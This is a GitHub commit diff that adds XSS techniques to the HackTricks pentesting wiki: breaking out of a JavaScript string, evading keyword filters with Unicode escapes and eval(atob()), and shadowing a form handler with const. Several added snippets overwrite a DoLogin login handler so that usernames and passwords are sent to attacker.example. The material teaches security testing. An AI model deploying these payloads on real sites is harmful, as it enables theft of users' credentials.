Skip to content

Commit adb6272

Browse files
authored
Merge pull request #1345 from HackTricks-wiki/update_From__Low-Impact__RXSS_to_Credential_Stealer__A_JS_20250827_063121
From "Low-Impact" RXSS to Credential Stealer A JS-in-JS Walk...
2 parents daa8503 + e43a114 commit adb6272

2 files changed

Lines changed: 82 additions & 3 deletions

File tree

src/pentesting-web/xss-cross-site-scripting/README.md

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -543,6 +543,25 @@ If `<>` are being sanitised you can still **escape the string** where your input
543543
\';alert(document.domain)//
544544
```
545545
546+
#### JS-in-JS string break → inject → repair pattern
547+
548+
When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:
549+
550+
```
551+
" // end original string
552+
; // safely terminate the statement
553+
<INJECTION> // attacker-controlled JS
554+
; a = " // repair and resume expected string/statement
555+
```
556+
557+
Example URL pattern when the vulnerable parameter is reflected into a JS string:
558+
559+
```
560+
?param=test";<INJECTION>;a="
561+
```
562+
563+
This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
564+
546565
### Template literals \`\`
547566
548567
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
@@ -571,6 +590,25 @@ loop``
571590
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
572591
```
573592
593+
#### Deliverable payloads with eval(atob()) and scope nuances
594+
595+
To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:
596+
597+
```
598+
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
599+
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
600+
```
601+
602+
Important scoping nuance: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they won’t be accessible to later scripts. Use a dynamically injected `<script>` element to define global, non-rebindable hooks when needed (e.g., to hijack a form handler):
603+
604+
```javascript
605+
var s = document.createElement('script');
606+
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
607+
document.head.appendChild(s);
608+
```
609+
610+
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
611+
574612
### Unicode Encode JS execution
575613
576614
```javascript
@@ -1513,6 +1551,23 @@ body:username.value+':'+this.value
15131551
15141552
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
15151553
1554+
### Hijack form handlers to exfiltrate credentials (const shadowing)
1555+
1556+
If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:
1557+
1558+
```javascript
1559+
const DoLogin = () => {
1560+
const pwd = Trim(FormInput.InputPassword.value);
1561+
const user = Trim(FormInput.InputUtente.value);
1562+
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
1563+
};
1564+
```
1565+
1566+
Notes
1567+
- This relies on execution order: your injection must execute before the legitimate declaration.
1568+
- If your payload is wrapped in `eval(...)`, `const/let` bindings won’t become globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
1569+
- When keyword filters block code, combine with Unicode-escaped identifiers or `eval(atob('...'))` delivery, as shown above.
1570+
15161571
### Keylogger
15171572

15181573
Just searching in github I found a few different ones:
@@ -1792,4 +1847,9 @@ other-js-tricks.md
17921847
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
17931848
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
17941849

1850+
## References
1851+
1852+
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
1853+
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
1854+
17951855
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/js-hoisting.md

Lines changed: 22 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -130,15 +130,34 @@ let config;` -
130130
},
131131
})
132132
}
133+
trigger()
133134
```
134135

136+
### Preempt later declarations by locking a name with const
137+
138+
If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:
139+
140+
```javascript
141+
// Malicious code runs first (e.g., earlier inline <script>)
142+
const DoLogin = () => {
143+
const pwd = Trim(FormInput.InputPassword.value)
144+
const user = Trim(FormInput.InputUtente.value)
145+
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
146+
}
147+
148+
// Later, the legitimate page tries to declare:
149+
function DoLogin(){ /* ... */ } // cannot override the existing const binding
150+
```
151+
152+
Notes
153+
- This relies on execution order and global (top-level) scope.
154+
- If your payload is executed inside `eval()`, remember that `const/let` inside `eval` are block-scoped and won’t create global bindings. Inject a new `<script>` element with the code to establish a true global `const`.
155+
135156
## References
136157

137158
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
138159
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
139160
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
161+
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
140162

141163
{{#include ../../banners/hacktricks-training.md}}
142-
143-
144-

0 commit comments

Comments
 (0)